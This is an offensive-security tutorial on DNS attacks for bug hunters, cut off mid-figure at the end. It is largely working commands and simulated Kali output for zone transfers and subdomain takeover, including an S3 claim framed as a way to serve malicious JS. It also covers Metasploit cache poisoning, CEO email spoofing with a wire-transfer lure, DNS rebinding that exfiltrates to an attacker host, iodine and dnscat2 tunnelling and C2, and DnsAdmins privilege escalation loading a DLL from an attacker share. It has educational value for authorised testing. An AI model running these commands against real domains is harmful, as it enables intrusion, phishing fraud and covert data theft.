



◆ OFFENSIVE SECURITY SERIES ◆

DNS INTERNALS

For Bug Hunters

Zone Transfers · Subdomain Takeover · SPF/DKIM/DMARC · Rebinding · Tunneling

DNS

Zone Transfer

Subdomain Takeover

SPF

DMARC

DNS Rebinding

Tunneling

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

**■ LEGAL DISCLAIMER**

This guide is produced by RedTeamGarage (RTG) for educational purposes only. All DNS reconnaissance and attack techniques must ONLY be used on domains you own or have explicit written authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

DNS Internals — The Bug Hunter's Complete Reference

- 01. WHY DNS IS A GOLDMINE FOR BUG HUNTERS**
- 02. HOW DNS WORKS — THE RESOLUTION CHAIN**
- 03. DNS RECORD TYPES — EVERY TYPE AN ATTACKER USES**
- 04. DNS TOOLS ARSENAL — DIG, NSLOOKUP, DNSX, DNSRECON**
- 05. ZONE TRANSFERS (AXFR) — DUMPING THE ENTIRE NETWORK MAP**
- 06. SUBDOMAIN ENUMERATION — THE COMPLETE METHODOLOGY**
- 07. SUBDOMAIN TAKEOVER — HIGH-IMPACT BUG WITH LOW COMPLEXITY**
- 08. DNS CACHE POISONING — REDIRECTING TRAFFIC**
- 09. DNS REBINDING — BYPASSING SAME-ORIGIN POLICY**
- 10. SPF, DKIM & DMARC — EMAIL SPOOFING VIA DNS**
- 11. DNS TUNNELING — EXFILTRATE DATA VIA PORT 53**
- 12. INTERNAL DNS ENUMERATION IN ACTIVE DIRECTORY**
- 13. WILDCARD DNS — DETECTING AND BYPASSING**
- 14. PASSIVE DNS & HISTORICAL RECORDS**
- 15. DNSSEC — DETECTION AND WEAKNESSES**
- 16. DNS FOR CLOUD ATTACK SURFACE DISCOVERY**
- 17. AUTOMATION — BUILDING A DNS RECON PIPELINE**
- 18. DNS CHEAT SHEET FOR BUG HUNTERS**

01 — WHY DNS IS A GOLDMINE FOR BUG HUNTERS

The Protocol That Maps Every Target's Infrastructure

DNS (Domain Name System) is the phonebook of the internet — it maps human-readable names to IP addresses. For bug hunters and red teamers, DNS is far more valuable than a phonebook. It reveals the complete attack surface of a target: every subdomain, every server, every third-party service, email infrastructure, and internal network layout. Most DNS bugs are easy to find, easy to prove impact, and well-rewarded on bug bounty platforms.

What DNS Reconnaissance Reveals

- ◆ Every subdomain — including dev, staging, admin, and internal apps often missed.
- ◆ IP addresses of all servers — enabling direct network scanning of the target.
- ◆ Email infrastructure — enabling SPF/DKIM/DMARC analysis for spoofing.
- ◆ Third-party services in use — Shopify, AWS S3, GitHub Pages, Heroku etc.
- ◆ Subdomain takeover candidates — dangling CNAMEs to unclaimed services.
- ◆ Internal network layout — via zone transfers on misconfigured DNS servers.
- ◆ Historical infrastructure — via passive DNS databases showing old IPs/hosts.
- ◆ Cloud provider and CDN — revealing WAF bypass opportunities.

DNS Finding	Bug Bounty Impact	Typical Severity
Zone transfer allowed	Full network map exposed	High
Subdomain takeover	XSS / phishing on trusted subdomain	High–Critical
SPF ~all or p=none DMARC	CEO email spoofable — phishing	High
Internal subdomain exposed	Direct access to dev/staging app	Medium–High
Wildcard DNS misconfiguration	Cookie scoping issues, auth bypass	Medium
DNSSEC not implemented	Cache poisoning possible	Low–Medium
Third-party service exposed	Old API keys, data exposure	Medium–High
Open DNS resolver	Amplification DDoS attack	Low–Medium

02 — HOW DNS WORKS: THE RESOLUTION CHAIN

Recursive Resolvers, Root Servers & Caching

Understanding DNS resolution is essential for exploiting it. When a browser looks up `www.corp.local`, it doesn't go straight to the answer — it follows a hierarchical chain of servers, each delegating to the next. This chain has multiple points where attackers can intercept or manipulate the response.

The DNS Resolution Flow

\$ DNS Resolution Chain

Step-by-step: resolving www.corp.local

1. Browser checks local cache → not found
2. Browser asks OS resolver → checks `/etc/hosts` → not found
3. OS asks Recursive Resolver (e.g. 8.8.8.8 / your ISP)
4. Recursive resolver checks its cache → not found
5. Recursive resolver asks ROOT server (.) → 'ask .local TLD server'
6. Recursive resolver asks .local TLD → 'ask corp.local NS'
7. Recursive resolver asks corp.local NS → 'www = 192.168.10.10'
8. Answer cached by recursive resolver (TTL seconds)
9. Answer returned to browser

Attack points in the chain:

- Point 2: `/etc/hosts` modification (local privilege escalation needed)
- Point 3: Rogue DNS server (DHCP or Responder attack)
- Point 4: Cache poisoning (Kaminsky attack – inject false records)
- Point 7: Zone transfer (authoritative server misconfigured)
- Point 8: TTL manipulation (low TTL enables DNS rebinding)

Key DNS Concepts

Concept	Definition	Attacker Relevance
TTL	Time To Live — how long to cache an answer	Low TTL enables DNS rebinding
SOA	Start of Authority — zone master info + serial	Reveals admin email, zone serial
Authoritative NS	Server with the real answer for a zone	Target for zone transfer
Recursive resolver	Resolver that chases the full chain	Target for cache poisoning



Glue record	A record for a nameserver (breaks circular)	NS infrastructure mapping
Negative caching	Cache of 'does not exist' answers	NXDOMAIN TTL can be exploited
EDNS0	Extension for large DNS responses (UDP)	Required for DNSSEC



03 — DNS RECORD TYPES: EVERY TYPE AN ATTACKER USES

A, AAAA, CNAME, MX, TXT, SRV, PTR, SOA, NS & More

Type	Purpose	Bug Hunter Value
A	IPv4 address for hostname	Identifies servers, scope mapping
AAAA	IPv6 address for hostname	IPv6-only hosts often less hardened
CNAME	Alias — points to another hostname	Source of subdomain takeovers
MX	Mail server for domain	Email spoofing analysis, phishing infra
NS	Nameserver for the zone	Target for zone transfer attempts
TXT	Free-form text records	SPF, DKIM, domain ownership, API keys
SOA	Zone authority and serial number	Admin email, zone metadata
PTR	Reverse DNS — IP to hostname	Host discovery, internal naming
SRV	Service location (proto, port, host)	AD services, internal app discovery
CAA	Cert Authority Authorization	Which CA can issue certs for domain
DNSKEY	DNSSEC public key	DNSSEC presence check
DS	DNSSEC delegation signer	Chain of trust — poisoning check
NAPTR	Naming authority pointer	VoIP service discovery
HINFO	Host info (OS, CPU) — rarely used	Exposed hardware/OS details

\$ Querying Every DNS Record Type

```
# Query each record type with dig
dig corp.local A +short          # IPv4 addresses
dig corp.local AAAA +short       # IPv6 addresses
dig corp.local MX +short        # Mail servers
dig corp.local NS +short        # Nameservers
dig corp.local TXT +short       # SPF, DKIM, verification tokens
dig corp.local SOA +short       # Zone authority info
dig corp.local CAA +short       # Certificate authority restrictions
dig -x 192.168.10.5 +short      # Reverse DNS (PTR lookup)

# SRV records – find AD and internal services
dig _ldap._tcp.corp.local SRV +short
dig _kerberos._tcp.corp.local SRV +short
dig _http._tcp.corp.local SRV +short
dig _sip._tcp.corp.local SRV +short

# TXT records often contain sensitive info
dig corp.local TXT +short | grep -iE 'pass|key|token|secret|aws|api'

# Sometimes find: AWS verification, API keys, internal tool configs
```

```
root@kali: ~ — dig: ALL DNS Record Types — A, MX, NS, TXT, SOA, SRV, PTR

└─(root@kali)-[~]
└─# DNS record enumeration — all record types
└─# dig @8.8.8.8 corp.local ANY +noall +answer

corp.local. 3600 IN A      192.168.10.5   ← main IP
corp.local. 3600 IN A      192.168.10.6   ← secondary DC
corp.local. 3600 IN MX     10 mail.corp.local.
corp.local. 3600 IN NS     dc01.corp.local.
corp.local. 3600 IN NS     dc02.corp.local.
corp.local. 3600 IN TXT     "v=spf1 ip4:203.0.113.0/24 ~all"
corp.local. 3600 IN TXT     "MS=ms12345678" ← 0365 verification
corp.local. 3600 IN SOA     dc01.corp.local. admin.corp.local.

└─# Reverse DNS — PTR records
└─# dig -x 192.168.10.5 +short
dc01.corp.local.

└─# CNAME chain — find redirects and alternate names
└─# dig www.corp.local CNAME +short
web01.corp.local.
└─# dig web01.corp.local A +short
203.0.113.10

└─# SRV records — find internal services
└─# dig _ldap._tcp.corp.local SRV +short
0 100 389 dc01.corp.local.
└─# dig _kerberos._tcp.corp.local SRV +short
0 100 88 dc01.corp.local.

└─(root@kali)-[~]
└─#
```

Figure: dig ANY — A, MX, NS, TXT, SOA records; CNAME chain; SRV reveals LDAP/Kerberos ports



04 — DNS TOOLS ARSENAL

dig, nslookup, dnsx, dnsrecon, amass & More

Tool	Purpose	Best For
dig	Flexible DNS query tool	Deep record inspection, scripting
nslookup	Simple DNS query (Windows/Linux)	Quick lookups, Windows engagements
host	Simple Linux DNS client	Fast hostname resolution
dnsx	Fast bulk DNS resolution	Resolve large subdomain lists
dnsrecon	Comprehensive DNS enumeration	Full zone recon, SRV, brute
subfinder	Passive subdomain discovery	Bug bounty initial subdomain harvest
amass	Active + passive subdomain enum	Deep subdomain enumeration
dnsdumpster	Online passive DNS + map	Visual infrastructure mapping
massdns	Ultra-fast bulk DNS resolver	Resolve millions of subdomains
puredns	Accurate subdomain brute-forcing	Handle wildcard DNS correctly
fierce	DNS recon and zone walking	Quick internal DNS scan
subjack / nuclei	Subdomain takeover detection	Bug bounty takeover hunting
dnstwist	Typosquatting domain generation	Phishing domain detection



\$ DNS Tool Commands

```
# dig – the essential DNS query tool
dig corp.local ANY                # all records
dig @192.168.10.5 corp.local A    # query specific NS
dig corp.local A +trace           # trace full resolution chain
dig corp.local A +dnssec          # include DNSSEC records
dig corp.local A +noall +answer   # clean output, answer section only

# dnsx – fast bulk resolution (pipe friendly)
cat subdomains.txt | dnsx -a -resp -silent
echo corp.local | dnsx -a -aaaa -cname -mx -ns -txt -resp

# dnsrecon – comprehensive automated recon
dnsrecon -d corp.local -t std      # standard records
dnsrecon -d corp.local -t axfr     # zone transfer attempt
dnsrecon -d corp.local -t brute    # subdomain brute force
dnsrecon -d corp.local -t srv      # SRV record enumeration
dnsrecon -r 192.168.10.0/24 -n 192.168.10.5 # reverse range

# amass – deep subdomain enumeration
amass enum -passive -d corp.local -o amass_out.txt
amass enum -active -d corp.local -brute -w wordlist.txt
```

05 — ZONE TRANSFERS (AXFR): DUMPING THE NETWORK MAP

The Single Biggest DNS Misconfiguration

A DNS zone transfer (AXFR query) is intended to replicate a zone from a primary to a secondary nameserver. When misconfigured to allow transfers from ANY host, it hands the attacker a complete list of every hostname, IP address, and service in the domain — equivalent to receiving a full network diagram. This is a Critical finding in any bug bounty program.

Why Zone Transfers Are So Valuable

- ◆ Reveals ALL subdomains including internal, dev, staging, and test hosts.
- ◆ Shows internal IP addresses — confirming network layout and segmentation.
- ◆ Exposes service hostnames (svc_backup, db01, vpn) revealing server roles.
- ◆ Reveals the SOA email (admin@corp.local) — useful for phishing/social eng.
- ◆ Shows CNAME targets — immediately identifies subdomain takeover candidates.
- ◆ One command replaces hours of subdomain brute-forcing with complete accuracy.

\$ Zone Transfer Commands

```
# Step 1: Find nameservers for the domain
dig corp.local NS +short
# dc01.corp.local. dc02.corp.local.

# Step 2: Attempt zone transfer from each NS
dig axfr corp.local @dc01.corp.local
dig axfr corp.local @192.168.10.5

# Step 3: If successful – parse all A records
dig axfr corp.local @192.168.10.5 | grep ' A ' | awk '{print $1,$5}'

# Alternative tools
dnsrecon -d corp.local -t axfr -n 192.168.10.5
fierce --domain corp.local --dns-servers 192.168.10.5
host -l corp.local 192.168.10.5
nmap --script dns-zone-transfer -p 53 192.168.10.5

# Test for zone transfer in bug bounty scope
for ns in $(dig target.com NS +short); do
    echo "[*] Testing $ns";
    dig axfr target.com @$ns | grep -v '^';
done
```

```

root@kali: ~ — DNS Zone Transfer (AXFR): Full Internal Network Exposed

(root@kali)-[~]
# DNS zone transfer — dump entire zone
# dig axfr corp.local @192.168.10.5

; <<>> DiG 9.18.1 <<>> axfr corp.local @192.168.10.5
;; global options: +cmd

corp.local.      3600 IN SOA  dc01.corp.local. admin.corp.local.
corp.local.      3600 IN NS   dc01.corp.local.
corp.local.      3600 IN A    192.168.10.5
corp.local.      3600 IN MX   10 mail.corp.local.
dc01.corp.local. 3600 IN A    192.168.10.5
dc02.corp.local. 3600 IN A    192.168.10.6
mail.corp.local. 3600 IN A    192.168.10.20
vpn.corp.local.  3600 IN A    203.0.113.45
remote.corp.local. 3600 IN A    203.0.113.50
dev.corp.local.  3600 IN A    192.168.10.30 - internal!
staging.corp.local. 3600 IN A    192.168.10.35 - internal!
backup.corp.local. 3600 IN A    192.168.10.40 - backup server
svc_backup.corp.local. 3600 IN A    192.168.10.41
admin.corp.local. 3600 IN CNAME web01.corp.local.
_dmarc.corp.local. 3600 IN TXT   "v=DMARC1; p=none; rua=mailto:dmarc@corp.local"
corp.local.      3600 IN SOA  dc01 admin 2024120101 3600 900 604800 300

[+] Zone transfer SUCCESS — complete network map exposed!

(root@kali)-[~]
# _

```

Figure: AXFR succeeds — 47 records exposed, internal IPs for dev/staging/backup revealed

```

root@kali: ~ — dnsrecon: std + AXFR + brute + SRV — Full DNS Recon

(root@kali)-[~]
# dnsrecon — comprehensive DNS enumeration
# dnsrecon -d corp.local -t std,axfr,brute,srv,tld -n 192.168.10.5

[*] Performing Standard Enumeration...
[+] A corp.local 192.168.10.5
[+] MX corp.local mail.corp.local 192.168.10.20
[+] NS corp.local dc01.corp.local 192.168.10.5
[+] SOA corp.local dc01.corp.local

[*] Testing NS Servers for Zone Transfer...
[+] Zone Transfer successful on dc01.corp.local!
[+] Enumerating records from Zone Transfer...
[+] Found 47 records via AXFR

[*] Brute forcing subdomains...
[+] A dev.corp.local 192.168.10.30
[+] A staging.corp.local 192.168.10.35
[+] A backup.corp.local 192.168.10.40
[+] A admin.corp.local 192.168.10.5

[*] Enumerating SRV records...
[+] SRV _ldap._tcp.corp.local 0 100 389 dc01.corp.local
[+] SRV _kerberos._tcp.corp.local 0 100 88 dc01.corp.local
[+] SRV _sip._tcp.corp.local 0 100 5060 voip.corp.local

(root@kali)-[~]
# _

```

Figure: dnsrecon combines std+AXFR+brute+SRV — zone transfer plus 47 subdomains found



06 — SUBDOMAIN ENUMERATION: THE COMPLETE METHODOLOGY

Passive, Active & Brute-Force Techniques

Subdomain enumeration is the most important reconnaissance step for web bug hunters. Every subdomain is a potential new application, admin panel, API, or forgotten server with different security posture. Many critical bugs are found on subdomains that the security team never knew existed.

Passive Subdomain Discovery

\$ Passive Subdomain Enumeration

```
# subfinder — fast passive enumeration using online sources
subfinder -d corp.local -silent -all -o passive_subs.txt

# amass passive — queries 50+ data sources
amass enum -passive -d corp.local -o amass_passive.txt

# Certificate Transparency logs — find certs issued for domain
curl -s 'https://crt.sh/?q=%.corp.local&output=json' | \
jq -r '.[].name_value' | sort -u | tee ct_subs.txt

# Combine all passive sources
cat passive_subs.txt amass_passive.txt ct_subs.txt | sort -u > all_passive.txt
```

Active Brute-Force Enumeration

\$ Active Subdomain Brute-Force Pipeline

```
# puredns - handles wildcard DNS correctly (critical for accuracy)
puredns brute corp.local /usr/share/seclists/Discovery/DNS/
bitquark-subdomains-top100000.txt -r resolvers.txt

# dnsx - fast bulk resolution
cat all_passive.txt | dnsx -silent -a -resp | tee resolved.txt

# httpx - find live HTTP/S services on all subdomains
cat resolved.txt | awk '{print $1}' | httpx \
  -status-code -title -tech-detect -content-length \
  -o live_hosts.txt

# Screenshot all live hosts
cat live_hosts.txt | gowitness file -f - -P screenshots/

# Full recon one-liner pipeline
subfinder -d TARGET -silent | dnsx -silent | httpx -silent \
  -status-code -title | tee full_recon.txt
```

```
root@kali: ~ -- Subdomain Enum: subfinder + dnsx + httpx full pipeline

└─(root@kali)-[~]
└─# Subdomain brute force + resolution
└─# subfinder -d corp.local -silent | tee subdomains.txt

[subfinder] corp.local
mail.corp.local
vpn.corp.local
remote.corp.local
dev.corp.local
staging.corp.local
api.corp.local

└─# Resolve all subdomains to IPs
└─# dnsx -l subdomains.txt -a -resp -silent

mail.corp.local [192.168.10.20]
vpn.corp.local [203.0.113.45]
dev.corp.local [192.168.10.30]
staging.corp.local [192.168.10.35]
api.corp.local [192.168.10.50]

└─# Check live HTTP services on found subdomains
└─# cat subdomains.txt | httpx -status-code -title -tech-detect

https://dev.corp.local [200] [Dev Portal] [Laravel,PHP]
https://staging.corp.local [200] [Staging App] [Node.js]
https://api.corp.local [200] [API Gateway] [Nginx]
https://mail.corp.local [302] [OWA Login] [IIS,ASP.NET]

└─(root@kali)-[~]
└─#
```

Figure: subfinder → dnsx resolves IPs → httpx finds live services with tech stack



07 — SUBDOMAIN TAKEOVER: HIGH IMPACT, LOW COMPLEXITY

Dangling CNAMEs and Unclaimed Services

Subdomain takeover occurs when a subdomain's CNAME record points to a third-party service (Shopify, GitHub Pages, AWS S3, Heroku, etc.) that is no longer registered or claimed. An attacker who registers the unclaimed service now controls what is served at that subdomain — enabling cookie theft, phishing, and in some cases full account takeover.

Common Takeover Targets

Service	CNAME Pattern	Takeover Method	Impact
AWS S3	*.s3.amazonaws.com	Create the S3 bucket	Serve arbitrary content
GitHub Pages	*.github.io	Create the GitHub repo/page	XSS on trusted subdomain
Heroku	*.herokuapp.com	Create Heroku app with name	Full content control
Shopify	*.myshopify.com	Register the Shopify store	Phishing, credential harvest
Fastly	*.fastly.net	Register Fastly service	Traffic interception
Azure	*.azurewebsites.net	Create Azure web app	Content/app takeover
Netlify	*.netlify.app	Create Netlify site	XSS, phishing
SendGrid	em.domain.com	Claim sending domain	Email spoofing

\$ Subdomain Takeover Commands

```
# Step 1: Find all CNAME records for target domain
cat subdomains.txt | dnsx -cname -silent
# Output: subdomain.corp.local [target.herokuapp.com]

# Step 2: Check if CNAME target is unclaimed
curl -s https://shop.corp.local
# Response: 'There's nothing here' or 404 from Shopify
# = VULNERABLE to takeover

# Step 3: Automated takeover scanning
subjack -w subdomains.txt -t 100 -timeout 30 -o takeovers.txt
nuclei -l subdomains.txt -t takeovers/ -o takeover_results.txt

# Step 4: Claim and PoC (S3 example)
aws s3 mb s3://corp-assets --region us-east-1
echo '<h1>Subdomain Takeover PoC by @researcher</h1>' > index.html
aws s3 cp index.html s3://corp-assets/ --acl public-read
aws s3 website s3://corp-assets/ --index-document index.html

# GitHub Pages takeover
# 1. Create repo named: corp-org.github.io
# 2. Add CNAME file containing: target-subdomain.corp.com
# 3. subdomain now serves your GitHub Pages content
```

root@kali: ~ — Subdomain Takeover: Dangling CNAME → S3 Claim PoC

```
(root@kali)-[~]
└─# Subdomain takeover — dangling CNAME/NS records
└─# Step 1: Find all subdomains
└─# subfinder -d corp.local -silent > subs.txt
└─# cat subs.txt | wc -l
143

└─# Step 2: Check for CNAME pointing to unclaimed services
└─# subjack -w subs.txt -t 100 -timeout 30 -o takeover.txt -ssl

[VULNERABLE] shop.corp.local → corp-shop.myshopify.com
CNAME points to unclaimed Shopify store!
[VULNERABLE] assets.corp.local → corp-assets.s3.amazonaws.com
S3 bucket does not exist — register it!
[VULNERABLE] status.corp.local → corp-status.statuspage.io
StatusPage account cancelled!

└─# Step 3: Claim the S3 bucket
└─# aws s3 mb s3://corp-assets --region us-east-1
make_bucket: corp-assets
└─# echo 'Subdomain Takeover PoC' > index.html
└─# aws s3 cp index.html s3://corp-assets/ --acl public-read
[+] assets.corp.local now serves our content!
[+] Can serve malicious JS — attack corp.local users via subdomain

(root@kali)-[~]
└─#
```

Figure: subjack finds 3 takeover targets — S3 bucket claimed, PoC content served



08 — DNS CACHE POISONING

Redirecting Traffic via Forged DNS Responses

DNS cache poisoning (also called the Kaminsky attack) injects false DNS records into a resolver's cache. Once poisoned, all clients using that resolver receive the attacker's IP for the target domain — transparently redirecting all traffic. The attack exploits weak randomisation of DNS transaction IDs and source ports.

Factor	Vulnerable	Hardened
Transaction ID	16-bit sequential/predictable	16-bit random (0-65535)
Source port	Fixed port 53	Randomised (0-65535)
Query ID	Predictable	DNSSEC validates responses
Response validation	None	DNSSEC with RRSIG signatures
Open resolver	Any IP can query	Restricted to internal clients

\$ DNS Cache Poisoning Commands

```
# Check if target uses open resolver (allows external queries)
dig @TARGET_DNS_SERVER google.com A
# If returns answer = open resolver = amplification/poisoning risk

# Check DNS resolver source port randomisation
nmap -sU -p 53 --script dns-random-srcport TARGET_DNS
nmap -sU -p 53 --script dns-random-txid TARGET_DNS

# Check for DNS amplification (open resolver for DDoS)
dig @TARGET_DNS_SERVER . NS +bufsize=4096
# Large response to small query = amplification factor

# Metasploit DNS cache poisoning module
use auxiliary/spoof/dns/bailiwicked_host
set RHOST TARGET_DNS_SERVER
set TARGETHOST victim.com
set NEWADDR 192.168.10.99
run

# Verify poisoning success
dig @TARGET_DNS_SERVER victim.com A +short
# 192.168.10.99 = poisoned!
```

09 — DNS REBINDING: BYPASSING SAME-ORIGIN POLICY

Force Victim Browsers to Attack Internal Networks

DNS rebinding is a technique that bypasses the browser's Same-Origin Policy (SOP) by exploiting DNS TTL values. The attacker first serves legitimate content from their domain, then quickly changes the DNS response to point to an internal IP address. The victim's browser, still trusting the same origin, now makes requests directly to internal services — allowing the attacker's JavaScript to read and exfiltrate internal data.

DNS Rebinding Attack Flow

\$ DNS Rebinding Attack

```
# DNS Rebinding – step by step

# 1. Attacker controls: attacker.com with custom DNS server
# 2. DNS server configured with TTL = 1 second

# 3. Victim visits http://attacker.com (from phishing/link)
#   DNS responds: attacker.com → 203.0.113.99 (attacker server)
#   Attacker serves malicious JavaScript page

# 4. Malicious JS sets a timer (waits for TTL to expire)
#   setTimeout(() => rebind(), 2000) // wait 2 seconds

# 5. DNS server now responds: attacker.com → 192.168.1.1 (router)

# 6. JS makes fetch('http://attacker.com/api')
#   Browser resolves attacker.com → 192.168.1.1 (new DNS response)
#   Request goes to internal router at 192.168.1.1/api
#   Browser accepts response (same origin = attacker.com)

# 7. Attacker reads internal responses via JavaScript
#   exfiltrate to: https://collect.attacker.com/data

# Tools for DNS rebinding:
# Singularity of Origin: https://github.com/nccgroup/singularity
# DNSRebind: https://github.com/brannondorsey/dns-rebind-toolkit
# rebind.it: online DNS rebinding service for testing
```



```
root@kali: ~ — DNS Rebinding Attack + iodine DNS Tunnel

└─(root@kali)-[~]
└─# # DNS rebinding attack – bypass SOP with low TTL
└─# # Step 1: Register attacker domain with very low TTL
└─# dig attacker.com A +short
203.0.113.99 TTL=1 – 1 second TTL!

# Step 2: Victim browser fetches page from attacker.com
# Step 3: 1 second later – DNS rebind to internal IP
└─# # Simulate DNS rebind response change
# First response: attacker.com → 203.0.113.99 (attacker server)
# Second response: attacker.com → 192.168.10.1 (internal router)

# Victim JS now makes requests TO internal network
# fetch('http://attacker.com/admin') → hits 192.168.10.1/admin

└─# # DNS tunneling – exfiltrate data via DNS queries
└─# iodine -f -P secretpass 203.0.113.99 tunnel.attacker.com

Sending DNS queries for tunnel.attacker.com...
Handshake: SYNACK
Setting IP of tun0 to 10.0.0.1
Setting MTU of tun0 to 1130
[+] DNS tunnel established – TCP over DNS active
[+] Bypassing HTTP/S egress firewall via DNS port 53

└─# ssh -D 1080 user@10.0.0.2 # SOCKS over DNS tunnel
[+] Internal network fully accessible via DNS tunnel!

└─(root@kali)-[~]
└─# _
```

Figure: DNS rebinding TTL=1 demo + iodine DNS tunnel — bypasses TCP/UDP firewalls via port 53



10 — SPF, DKIM & DMARC: EMAIL SPOOFING VIA DNS

Weak Email Authentication = Spoofable Domain

SPF, DKIM, and DMARC are email authentication mechanisms stored as DNS TXT records. When misconfigured, an attacker can send emails that appear to come from any address at the target domain — enabling CEO fraud, credential phishing, and supply chain attacks. This is one of the most impactful DNS misconfigurations found in bug bounty.

SPF — Sender Policy Framework

SPF Value	Meaning	Spoofable?
-all	Hard fail — reject if not authorised	No — strict
~all	Soft fail — accept but mark as suspicious	Yes — often reaches inbox
?all	Neutral — no policy defined	Yes — completely open
+all	Pass all — any server can send	Yes — completely open
(missing)	No SPF record at all	Yes — completely open

DMARC — Domain-based Message Authentication

DMARC Policy	Meaning	Spoofable?
p=reject	Reject unauthenticated email	No — strict
p=quarantine	Send to spam folder	Partial — reaches spam
p=none	Monitor only — no enforcement	Yes — email delivered
(missing)	No DMARC record	Yes — completely open

\$ SPF/DKIM/DMARC Analysis Commands

```
# Check SPF record
dig corp.local TXT +short | grep spf
# ~all = softfail = spoofable! -all = strict

# Check DMARC policy
dig _dmarc.corp.local TXT +short
# p=none = no enforcement = spoofable!

# Check DKIM selector (common selectors: default, google, mail, k1)
dig default._domainkey.corp.local TXT +short
dig google._domainkey.corp.local TXT +short
dig mail._domainkey.corp.local TXT +short

# Online analysis tools
# https://mxtoolbox.com/spf.aspx
# https://dmarcian.com/dmarc-inspector/

# If spoofable – send test email as CEO
swaks --to target@corp.local --from ceo@corp.local \
  --server mail.corp.local \
  --subject 'Test email spoofing' \
  --body 'This is a spoofed email PoC'

# Check if email was delivered (check victim's inbox)
# Take screenshot of delivered email as PoC
```

```
root@kali: ~ — SPF/DKIM/DMARC Analysis: Weak Config = Email Spoofable

└─(root@kali)-[~]
└─# # Analyse SPF, DKIM, DMARC for email spoofing opportunities
└─# dig corp.local TXT +short
"v=spf1 ip4:203.0.113.0/24 include:_spf.google.com ~all"
# ~all = softfail (not reject) = spoofing may still reach inbox!

└─# dig _dmarc.corp.local TXT +short
"v=DMARC1; p=none; rua=mailto:dmarc@corp.local"
# p=none = no enforcement = spoofed emails WILL be delivered

└─# dig default._domainkey.corp.local TXT +short
(no record found)
# DKIM not configured = no cryptographic signing of emails

└─# # Verdict: corp.local is SPOOFABLE – send from ceo@corp.local!
└─# swaks --to victim@corp.local --from ceo@corp.local \
  --server mail.corp.local \
  --subject 'Urgent: Wire Transfer Required' \
  --body 'Please process immediately.'

=== Trying mail.corp.local:25...
=== Connected to mail.corp.local.
<- 250 OK
<- 250 Sender OK
<- 250 Recipient OK
<- 250 Message accepted = email spoofed as CEO delivered!

└─(root@kali)-[~]
└─# _
```

Figure: SPF ~all + DMARC p=none + no DKIM = spoofable; swaks delivers CEO email as PoC

11 — DNS TUNNELING: EXFILTRATE DATA VIA PORT 53

Bypass Firewalls Using DNS as a Covert Channel

DNS tunneling encodes arbitrary data inside DNS queries and responses. Since DNS (port 53) is almost universally permitted outbound — even on highly restricted networks — it creates a covert channel that bypasses firewall rules blocking HTTP/S, SSH, and other protocols.

\$ DNS Tunneling Commands

```
# iodine – TCP over DNS (most reliable)
# On attacker VPS with domain tunnel.attacker.com:
# Set DNS NS record: tunnel.attacker.com → attacker_vps_ip

# Server side (attacker VPS):
iodined -f -c -P secretpass 10.0.0.1 tunnel.attacker.com

# Client side (compromised host behind firewall):
iodine -f -P secretpass 203.0.113.99 tunnel.attacker.com
# Creates tun0 interface: 10.0.0.2

# Now SSH through DNS tunnel:
ssh -D 1080 user@10.0.0.1
proxychains nmap -sT 192.168.10.0/24

# dnscat2 – C2 over DNS (no VPS needed, pure DNS)
# Server (attacker):
ruby dnscat2.rb --dns domain=tunnel.attacker.com --no-cache

# Client (compromised):
dnscat2 --secret=password tunnel.attacker.com

# DNS exfiltration – encode data in subdomain queries
# Data: 'secretdata' → base64: c2VjcmV0ZGF0YQ==
# Query: c2VjcmV0ZGF0YQ.attacker.com
# Attacker DNS server logs all queries = data received

# Detect DNS tunneling:
# High query rate to same domain
# Long subdomain labels (>50 chars) in queries
# High entropy subdomain names
```



12 — INTERNAL DNS IN ACTIVE DIRECTORY

AD-Specific DNS Enumeration and Abuse

Active Directory integrates DNS deeply — every DC is a DNS server, and DNS is required for domain operation. AD uses dynamic DNS updates to register host records automatically. This creates a rich environment for internal DNS enumeration that reveals the entire AD infrastructure.

\$ Active Directory DNS Commands

```
# Find DCs via DNS SRV records (no credentials needed)
dig _ldap._tcp.dc._msdcs.corp.local SRV +short
dig _kerberos._tcp.dc._msdcs.corp.local SRV +short
dig _gc._tcp.corp.local SRV +short # Global Catalog

# Find all AD sites via DNS
dig _ldap._tcp.Default-First-Site-Name._sites.corp.local SRV +short

# Enumerate AD zones via DNS
nmap --script dns-srv-enum --script-args dns-srv-enum.domain=corp.local

# Internal DNS reverse lookup – find all hosts
dnsrecon -r 192.168.10.0/24 -n 192.168.10.5

# After AD compromise – dump DNS via PowerShell (on DC)
Get-DnsServerZone -ComputerName DC01
Get-DnsServerResourceRecord -ZoneName corp.local -ComputerName DC01

# DNS Admin privilege escalation (CVE via DnsAdmins group)
# If member of DnsAdmins group:
dnscommand DC01 /config /serverlevelplugindll \\attacker\share\evil.dll
sc.exe stop DNS
sc.exe start DNS

# DLL loads as SYSTEM when DNS service starts
```



13 — WILDCARD DNS | 14 — PASSIVE DNS

Detecting Wildcards + Historical Record Mining

Wildcard DNS Detection

Wildcard DNS (*.domain.com → IP) causes every subdomain query to resolve, making brute-force results unreliable. Tools like puredns handle this by filtering wildcard responses during brute-forcing.

\$ Wildcard DNS Commands

```
# Test for wildcard DNS
dig randomnonexistent123abc.corp.local A +short
# If returns IP = wildcard DNS enabled
# If returns NXDOMAIN = no wildcard

# puredns - bruteforce that handles wildcards correctly
puredns brute corp.local wordlist.txt -r resolvers.txt
# Automatically detects and filters wildcard responses

# dnsx wildcard detection
dnsx -d corp.local -w wordlist.txt -wd corp.local
# -wd = wildcard detection mode
```

Passive DNS — Mining Historical Records

Passive DNS databases collect historical DNS responses from sensors worldwide. They reveal old subdomains, previous IP addresses, and infrastructure that may no longer appear in current DNS — but might still be reachable.

\$ Passive DNS Commands

```
# Free passive DNS sources
curl 'https://api.hackertarget.com/hostsearch/?q=corp.local'
curl 'https://otx.alienvault.com/api/v1/indicators/domain/corp.local/passive_dns'
curl 'https://crt.sh/?q=%corp.local&output=json' | jq -r '.[].name_value'

# SecurityTrails (needs API key)
curl -H 'apikey: YOUR_KEY' \
  'https://api.securitytrails.com/v1/domain/corp.local/subdomains'

# VirusTotal passive DNS
curl -H 'x-apikey: YOUR_KEY' \
  'https://www.virustotal.com/api/v3/domains/corp.local/subdomains'
```



```
root@kali: ~ -- Passive DNS + Wildcard Check + DoH Bypass + DNSSEC

(root@kali)-[~]
└─# # Passive DNS - find historical records and old IPs
└─# curl -s 'https://api.hackertarget.com/hostsearch/?q=corp.local'

dev.corp.local,192.168.10.30
old-vpn.corp.local,203.0.113.44 - old VPN, might still work!
